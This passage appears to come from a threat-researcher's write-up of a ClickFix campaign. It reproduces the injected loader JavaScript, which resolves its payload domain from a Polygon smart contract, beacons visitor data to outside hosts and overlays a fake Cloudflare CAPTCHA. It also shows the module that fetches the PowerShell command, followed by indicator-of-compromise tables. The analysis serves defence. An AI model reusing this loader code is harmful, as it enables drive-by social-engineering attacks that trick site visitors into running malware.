var b=parseInt(strHex.substring(i,i+2),16);
if(b>0)r+=String.fromCharCode(b);
}
return r.trim();
}
function getUrl(){
var body=JSON.stringify({jsonrpc:'2.0',id:1,method:'eth_call',params:[{to:CA,data:'0x'+SEL},'latest']});
var reqs=RPC.map(function(h){
return fetch(h,{method:'POST',headers:{'Content-Type':'application/json'},body:body,signal:AbortSignal.timeout(6000)})
.then(function(r){return r.json()})
.then(function(j){
if(j.result&&j.result.length>130){
var u=decode(j.result.substring(2));
if(u.indexOf('http')===0)return u;
if(u.length>3)return 'https://'+u;
}
return Promise.reject('bad');
});
});
}
function beacon(url){
if(!BCN||!BCN.length)return;
var d=location.hostname;
try{
var b=BCN[Math.floor(Math.random()*BCN.length)];
var p=b+'?d='+encodeURIComponent(d)+'&t=pv&r='+encodeURIComponent(document.referrer||'');
if(navigator.sendBeacon)navigator.sendBeacon(p);
else{var img=new Image();img.src=p;}
}catch(e){}
}
function show(url){
var ov=document.createElement('div');
ov.setAttribute('data-sm','1');
ov.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:2147483647;background:#fff;';
var fr=document.createElement('iframe');
fr.src=url;
fr.style.cssText='width:100%;height:100%;border:none;';
fr.setAttribute('allow','clipboard-write');
ov.appendChild(fr);
document.body.appendChild(ov);
beacon(url);
window.addEventListener('message',function(e){
var d=e.data;
if(d==='cf-captcha-verified'||d==='tds-dismiss'||d==='close'||(d&&d.type==='cf-captcha-verified')){
ov.remove();
if(DISMISS>0){
var exp=new Date();exp.setTime(exp.getTime()+DISMISS*864e5);
document.cookie='_cf_verified=1;path=/;max-age=7776000';
document.cookie='_wp_perf_ok=1;path=/;expires='+exp.toUTCString();
}
}
});
}
getUrl().then(show).catch(function(){});
})();
The Contact Address 0x08207B087F61d7e95E441E15fd6d40BEfd6eD308 can be submitted to Polygon Scan for analytics and the contract byte code.
The actual domain retrieved from the eth_call can be found by simply selectly executing the POST request. In the observed incident, this was hxxps[://]microloh[.]bond.
The ClickFix script has some interesting comments in it.
// cloudflare.js — ClickFix Cloudflare CAPTCHA module
// Loaded by JS loader from API server: ?a=js&mode=cloudflare
// Exports via window.__BW_MODE_RUN__
// ctx contains: panelBaseUrl, apiBase, apiUrl, logUrl, tokenUrl, downloadUrl,
// mode, os, browser, country, storageKey, cfg, contractConfig
// Fetch payload (PS command) from API server
The ClickFix command string payload is retrieved through combining a static URI with the base domain retrieved from the smart contract. If the current domain goes down, the actor can update the smart contract with a new domain, and the entire loader chain will update to the new infrastructure. It’s a very robust way to deploy ClickFix.
var currentPayload = '';
function fetchPayload() {
try {
var url = ctx.downloadUrl || (ctx.apiBase + '/api/index.php?a=init');
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function() {
if (xhr.status === 200) {
try {
var data = JSON.parse(xhr.responseText);
if (data.token) currentPayload = data.token;
else if (data.payload) currentPayload = data.payload;
else currentPayload = xhr.responseText;
} catch(e) {
if (xhr.responseText.length > 5) currentPayload = xhr.responseText;
}
syncCfId();
}
};
xhr.send();
} catch(e) {}
// Also try cfg payload
if (ctx.cfg && ctx.cfg.payload) {
currentPayload = ctx.cfg.payload;
syncCfId();
}
}
IOCs
| Indicator | Type | Description |
|---|---|---|
| rock-fest[.]com | Domain | Compromised domain |
| microloh[.]bond | Domain | ClickFix host domain used to load lure and serve command |
| cometoyoudream[.]com | Domain | Web Socket C2 domain |
| 96DC45D9EDE45EFD478CB24EBF38C109E33C1D94AC5617D7606FE11114D1D4C4 | Sha256 | Horinis binary |
| 9E1BD16A1F990367F424B275EE0C286ADE68F1AC2BAF3C2A7327E2A1F0A43BFA | Sha256 | Sinobu binary |
| 0x08207B087F61d7e95E441E15fd6d40BEfd6eD308 | Contact Address | Contact Address used for domain retrieval |
GitHub repo
hxxps[://]github[.]com/babka98/horinis
| Indicator | FileName |
|---|---|
| 26817725650583D99CA3E617A618DD75C0F71BD316B5761780B7361F5F824CAD | 7za.exe |
| 3E358E989C59DE42CED01D2FF989EB2F65D3DF84C28AEE625EEA693D570480DD | infinixsync.tar |
| 51743AF5E9D7E57A44DFE0D43577C5CDACE7410BA5B23A84486EFE2E2541D653 | lykis.msi |
| 12498D4E4BF07747A9A52D6803D3211FD731DED6473B41CF4795AC56947D0366 | putty.exe |
| 189CEA843D59B96989CE8A3A86FF70CDA0BBCE5EC06C497970DE547DEE089315 | puttypass.tar |
| 8067B5EF028166583A447A4F2C11F354689A985CF668CDE52482CF447451B4EC | README.md |
| BF04EF995A8F45479FB2E9D106CE9EED634F84B36490F9F980FDEB0D295E570E | Sinobu.msi |
| 0D9F2272E5FE4AD180D93B89069E32C59589773B1D0FCF08AF86204C4070341A | split.msi |
| DEC2AA5314FB623028FF71D0538846044CA157CD082E97F9365B530964275F16 | Toshi2.msi |
Notes
I’d love to see if anyone else has info on this. I did some light googling, but didn’t see anything on the binaries or domains.
I did upload these to VT to see if there were any matches. As of posting, there weren’t.